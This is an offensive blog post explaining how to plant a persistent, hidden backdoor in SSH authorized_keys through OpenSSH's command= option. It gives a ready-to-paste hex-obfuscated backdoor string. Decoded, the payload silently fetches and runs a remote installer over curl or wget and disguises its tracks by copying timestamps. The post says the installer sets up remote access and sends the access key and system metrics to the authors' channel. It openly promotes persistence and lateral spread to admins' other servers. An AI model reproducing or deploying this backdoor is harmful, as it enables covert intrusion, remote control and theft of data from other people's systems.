Infecting SSH Public Keys with backdoors

Infecting SSH Public Keys with backdoors

·

3 min read

In this article, you will learn how to add a backdoor to the SSH Public Key. The backdoor will execute whenever the user logs in. The backdoor hides as an unreadable long hex-string inside ~/.ssh/authorized_keys or ~/.ssh/id_*.pub.

The source is available from GitHub.

TL;DR

Simply prepend any SSH Public Key with the following backdoor-string - up until, but not including, the ssh-ed25519 AAAAC3Nzblah...):

no-user-rc,no-X11-forwarding,command="`###---POWERSHELL---`;eval $(echo 5b5b20242873746174202d632559202f62696e2f73682920213d20242873746174202d632559202e73736829205d5d202626207b203a3b746f756368202d72202f62696e2f7368202e7373683b6578706f7274204b45593d22223b62617368202d63202224286375726c202d6673534c207468632e6f72672f737368782922207c7c2062617368202d632022242877676574202d2d6e6f2d766572626f7365202d4f2d207468632e6f72672f737368782922207c7c206578697420303b7d203e2f6465762f6e756c6c20323e2f6465762f6e756c6c2026203a3b5b5b202d6e20245353485f4f524947494e414c5f434f4d4d414e44205d5d202626206578656320245353485f4f524947494e414c5f434f4d4d414e443b5b5b202d7a20245348454c4c205d5d202626205348454c4c3d2f62696e2f626173683b5b5b202d66202f72756e2f6d6f74642e64796e616d6963205d5d20262620636174202f72756e2f6d6f74642e64796e616d69633b5b5b202d66202f6574632f6d6f7464205d5d20262620636174202f6574632f6d6f74643b65786563202d61202d2428626173656e616d6520245348454c4c2920245348454c4c3b0a|xxd -r -ps);" ssh-ed25519 AAAAC3Nzblah....

Root is not needed.

What's the purpose

  1. For the lulz.

  2. Re-starts your backdoor after the server reboots (similar to infecting crontab or ~/.bashrc).

  3. Spread laterally: Admins are known to copy their SSH Public Keys to new servers. Own them.

  4. Cloud deployments often copy the Admin's Public Key to new instances - and now they copy your backdoor inside as well.

The nitty-gritty

OpenSSH has an unsung feature to execute a command (instead of a Shell) when a user successfully logs in. This feature (for example) is used by AWS to tell the customer not to log in as root:

no-port-forwarding,no-agent-forwarding,command="echo 'Please login as the user \"ubuntu\" rather than the user \"root\".';echo;sleep 10;exit 142" ssh-ed25519 AAAA...

The trick is to use OpenSSH's command= feature and silently start our backdoor and afterwards execute the user's shell (with PTY) without the user noticing it.

The Details

Let's dissect the backdoor-string: The no-user-rc,no-X11-forwarding is a ruse to throw off any prying eyes. It can be omitted.

The command= string is where the real magic happens. Here is a shorter version of a simplified backdoor-string:

command="`###---POWERSHELL---`;eval $(echo 6563686f2048656c6c6f204261636b646f6f72|xxd -r -ps)"

OpenSSH executes the entire string between the two quotes "...".

The `###---POWERSHELL---`; is a ruse as well. It does nothing.

The next command, eval, executes the commands that are hidden inside the encoded hex string.

Let's decode the hex string to reveal the actual commands that are being executed:

$ echo 6563686f2048656c6c6f204261636b646f6f72 | xxd -r -ps
echo Hello Backdoor

This simplified backdoor only prints "Hello Backdoor" on log-in and then terminates the SSH connection.

Our backdoor-string is more complex and decoded here:

[[ $(stat -c%Y /bin/sh) != $(stat -c%Y .ssh) ]] && {
    touch -r /bin/sh .ssh
    export KEY=""
    bash -c "$(curl -fsSL thc.org/sshx)" || bash -c "$(wget --no-verbose -O- thc.org/sshx)" || exit 0
} >/dev/null 2>/dev/null &
[[ -n $SSH_ORIGINAL_COMMAND ]] && exec $SSH_ORIGINAL_COMMAND
[[ -z $SHELL ]] && SHELL=/bin/bash
[[ -f /run/motd.dynamic ]] && cat /run/motd.dynamic
[[ -f /etc/motd ]] && cat /etc/motd
exec -a -$(basename $SHELL) $SHELL

Firstly it uses a canary to make sure that the backdoor is only started once and not on every login: If ~/.ssh and /bin/sh have the same date then assume that the backdoor is already installed. Otherwise set them to the same date and execute the backdoor thereafter.

The backdoor in this case is a backdoor-installer script pulled from thc.org/sshx and executed in memory. It starts as a background process to not slow down the user's log-in. The installer-script installs gsocket and if successful reports the access key and system metrics to our discord channel.

Thereafter the backdoor-string checks if the user wanted to execute a command rather than a shell.

The last four lines are when the user logs in to a shell - the normal case:

  1. Set the SHELL variable if not set already.

  2. Simulate Linux's motd.

  3. Execute the user's shell.

Keep Hacking,

The Hacker's Choice